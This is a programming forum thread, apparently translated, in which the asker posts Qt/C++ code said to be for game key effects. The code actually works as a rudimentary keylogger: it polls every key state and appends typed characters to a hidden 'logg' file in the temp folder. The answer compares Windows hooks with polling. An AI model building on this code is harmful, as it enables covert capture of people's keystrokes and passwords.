Use keystate or windows hook

0

I have been learning to capture my keys so I can include certain effects in my game when I press certain keys. How can f12 be fired etc. What I want to know is that it is more advisable to use a Hook or keystate, I think keystate is less conflictive.

void Write(QString Filename, QString s)
{
    QFile mFile(Filename);
    if(!mFile.open(QFile::WriteOnly | QIODevice::Text | QIODevice::Append))
    {
        // error
    }
    QTextStream out(&mFile);
    if(s == "65" || s == "97"){
        out << "A" ;
    }
    if(s == "66" || s == "98"){
        out << "B" ;
    }
    if(s == "67" || s == "99"){
        out << "C" ;
    }
    if(s == "68" || s == "100"){
        out << "D" ;
    }
    if(s == "69" || s == "101"){
        out << "E" ;
    }
    if(s == "70" || s == "102"){
        out << "F" ;
    }
    if(s == "71" || s == "103"){
        out << "G" ;
    }
    if(s == "72" || s == "104"){
        out << "H" ;
    }
    if(s == "73" || s == "105"){
        out << "I" ;
    }
    if(s == "74" || s == "106"){
        out << "J" ;
    }
    if(s == "75" || s == "107"){
        out << "K" ;
    }
    if(s == "76" || s == "108"){
        out << "L" ;
    }
    if(s == "77" || s == "109"){
        out << "M" ;
    }
    if(s == "78" || s == "110"){
        out << "N" ;
    }
    if(s == "79" || s == "111"){
        out << "O" ;
    }
    if(s == "80" || s == "112"){
        out << "P" ;
    }
    if(s == "81" || s == "113"){
        out << "Q" ;
    }
    if(s == "82" || s == "114"){
        out << "R" ;
    }
    if(s == "83" || s == "115"){
        out << "S" ;
    }
    if(s == "84" || s == "116"){
        out << "T" ;
    }
    if(s == "85" || s == "117"){
        out << "U" ;
    }
    if(s == "86" || s == "118"){
        out << "V" ;
    }
    if(s == "87" || s == "119"){
        out << "W" ;
    }
    if(s == "88" || s == "120"){
        out << "X" ;
    }
    if(s == "89" || s == "121"){
        out << "Y" ;
    }
    if(s == "90" || s == "122"){
        out << "Z" ;
    }
    if(s == "164" || s == "165"){
        out << "Z" ;
    }
    if(s == "8"){
        out << "*borrar*" ;
    }
    if(s == "13"){
        out << endl;
    }
    if(s == "32"){
        out << " ";
    }
    if(s == "46"){
        out << ".";
    }
    if(s == "45"){
        out << "-";
    }
    if(s == "44"){
        out << ",";
    }
    mFile.flush();
    mFile.close();

}

void MainWindow::escucharTeclas()
{
    /** Esta función comprueba que teclas hay pulsadas y las guarda en un archivo **/
        QString num;
        QString Filename = directorio.tempPath() + "/logg";
        QFile mFile(Filename);
        if(!mFile.open(QFile::WriteOnly | QIODevice::Text | QIODevice::Append))
        {
           // error
        }
        short i = 0;
        for(i = 33; i < 255; i++){
         if(GetAsyncKeyState(i) == -32767)
             num = QString::number(i);

        }
        Write(Filename,num);
}
    
asked by omar omar 05.10.2016 в 22:50
source

1 answer

0

It is not that which is more effective, but that the Hook will act when the key is pressed (event), instead with GetAsyncKeyState(KEY) , it will work only when the iterator reaches that point:

Example:

int main()
{
  while(1)
  {
    Sleep(1);

    if(GetAsyncKeyState(0x41)) // A Mayúscula
        cout << "A presionada!" << endl; 
  }
}

I have no idea what hook you use, but there are many types for not doing something like the above.

    
answered by 10.10.2016 в 01:08